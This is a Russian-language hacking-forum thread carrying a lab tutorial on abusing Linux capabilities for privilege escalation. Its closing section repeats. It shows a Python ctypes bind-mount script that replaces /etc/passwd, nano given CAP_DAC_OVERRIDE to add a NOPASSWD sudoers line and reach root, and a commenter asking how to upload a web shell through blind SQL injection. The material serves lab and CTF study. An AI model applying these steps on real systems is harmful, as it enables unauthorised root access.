Методы лабораторных работ, которые мы решали, приведены "hacktricks". Что я сделал? Я помогал вам создавать среду и решал лабораторные работы с той же логикой по-другому.

Даже несмотря на то, что, я думаю, этой части будет достаточно. Логика заключается в том, чтобы получить двоичные файлы (binary) с возможностями, понять, что могут делать возможности, и злоупотреблять ими.

Слово "злоупотребление" во всех приведенных мной контекстах означает злоупотребление системой с благой целью (CTF/Bug Bounty/ White Hat Consulting).


Это список возможностей, которыми можно злоупотреблять, и они находятся в "hacktricks":
Код:
CAP_NET_ADMIN
CAP_NET_RAW
CAP_SYS_PTRACE
CAP_SYS_ADMIN
CAP_SYS_NICE
CAP_NET_BIND_SERVICE
CAP_SETUID
CAP_CHOWN
CAP_DAC_OVERRIDE
CAP_DAC_READ_SEARCH
CAP_FOWNER
CAP_KILL
CAP_SETGID
CAP_LINUX_IMMUTABLE
CAP_SYS_MODULE
CAP_SYS_RAWIO
CAP_SYS_CHROOT
CAP_SYS_BOOT
CAP_MKNOD
CAP_SETFCAP
CAP_SYSLOG


Это конец статьи, так где же интересные идеи? Они придут от нас с тобой через некоторое время. Я уверен, что со временем эта статья будет улучшена.

Автор grozdniyandy

Источник https://xss.pro/​

 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Посмотреть вложение 64345
Изображение [43]: Редактирование файла "passwd"​


Поскольку у нас есть файл "passwd" в нашем домашнем каталоге, мы должны заменить его оригинальным файлом "passwd" внутри каталога "/etc". Для этого мы должны использовать скрипт на python, я назову его "xss.py "

Python:
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/home/cap/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)


Посмотреть вложение 64346
Изображение [44]: Решение лабораторной задачи​

Я сам не писал этот код, но, насколько я понимаю, этот код загружает стандартную библиотеку C 'libc' в Python, используя библиотеку 'ctypes', и так он напрямую вызывает системные функции.

Лаборатория №5

В этой лабораторной работе мы будем злоупотреблять возможностью CAP_DAC_OVERRIDE. Для этого мы должны сначала понять, что такое DAC вообще? Дискреционный контроль доступа (DAC) - это модель используемая для определения того, кто имеет доступ к определенным ресурсам. Функция CAP_DAC_OVERRIDE в Linux предоставляет процессу возможность обходить дискреционный контроль доступа (DAC), что означает, что мы в принципе можем получить доступ к любому файлу и редактировать его по своему усмотрению.
Теперь, пожалуйста, используйте "снимок" (snapshot) , который был у нас раньше, чтобы вернуться назад, мы хотим сделать это для создания новой лаборатории. Поскольку мы перепутали файл "passwd" (Лаборатория №4), создание нового пользователя может оказаться проблематичным. Я думаю, вы должны быть в состоянии сделать это сами.

Создание лаборатории
Чтобы создать эту лабораторию, мы должны создать нового пользователя "xss" БЕЗ привилегий sudo, а также мы должны добавить возможность к команде "nano". Пришло время создать нашу лабораторию, не стесняйтесь использовать этот код:

Bash:
sudo setcap 'cap_dac_override+ep' /usr/bin/nano
sudo adduser xss
getcap -r / 2>/dev/null
Посмотреть вложение 64348
Изображение [45]: Создание лаборатории​
Как мы знаем из того, что я написал выше, возможность 'CAP_DAC_OVERRIDE' позволит нам просматривать и редактировать любой файл, который мы захотим. Таким образом, я могу в принципе отредактировать файл "/etc/sudoers" как НЕПРИВИЛЕГИРОВАННЫЙ пользователь и позволить себе выполнить sudo.
Команды для этого:

Bash:
su xss
cd
nano /etc/sudoers


Посмотреть вложение 64349
Изображение [46]: Редактирование файла sudoers

Как вы можете видеть, сначала мы не можем выполнить команду sudo, потому что мы не входим в группу sudoers. Мы можем добавить себя в группу sudoers и разрешить себе выполнять команды, не требуя пароля, добавив эту строку:

Bash:
xss ALL=(ALL) NOPASSWD:ALL

Посмотреть вложение 64350
Изображение [47]: Редактирование файла sudoers​


Теперь мы можем перечислить разрешения нашего пользователя с помощью команды sudo -l, как вы можете видеть, мы можем выполнить любую команду без пароля (включая команду sudo -l). Итак, мы можем сделать следующее и стать root

Посмотреть вложение 64351
Изображение [48]: Захват системы =)


Интересные Идеи

Методы лабораторных работ, которые мы решали, приведены "hacktricks". Что я сделал? Я помогал вам создавать среду и решал лабораторные работы с той же логикой по-другому.

Даже несмотря на то, что, я думаю, этой части будет достаточно. Логика заключается в том, чтобы получить двоичные файлы (binary) с возможностями, понять, что могут делать возможности, и злоупотреблять ими.

Слово "злоупотребление" во всех приведенных мной контекстах означает злоупотребление системой с благой целью (CTF/Bug Bounty/ White Hat Consulting).


Это список возможностей, которыми можно злоупотреблять, и они находятся в "hacktricks":
Код:
CAP_NET_ADMIN
CAP_NET_RAW
CAP_SYS_PTRACE
CAP_SYS_ADMIN
CAP_SYS_NICE
CAP_NET_BIND_SERVICE
CAP_SETUID
CAP_CHOWN
CAP_DAC_OVERRIDE
CAP_DAC_READ_SEARCH
CAP_FOWNER
CAP_KILL
CAP_SETGID
CAP_LINUX_IMMUTABLE
CAP_SYS_MODULE
CAP_SYS_RAWIO
CAP_SYS_CHROOT
CAP_SYS_BOOT
CAP_MKNOD
CAP_SETFCAP
CAP_SYSLOG


Это конец статьи, так где же интересные идеи? Они придут от нас с тобой через некоторое время. Я уверен, что со временем эта статья будет улучшена.

Автор grozdniyandy

Источник https://xss.pro/​

приветствую, извиняюсь что вопрос немного не по теме , как бы вы посоветовали дозаливать шелл при слепой скуле без стакд квери если имеется root\sa.
 
приветствую, извиняюсь что вопрос немного не по теме , как бы вы посоветовали дозаливать шелл при слепой скуле без стакд квери если имеется root\sa.
Привет, с скулями особо не работаю и опыта в этом нет, c0d3x в этом хорош.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх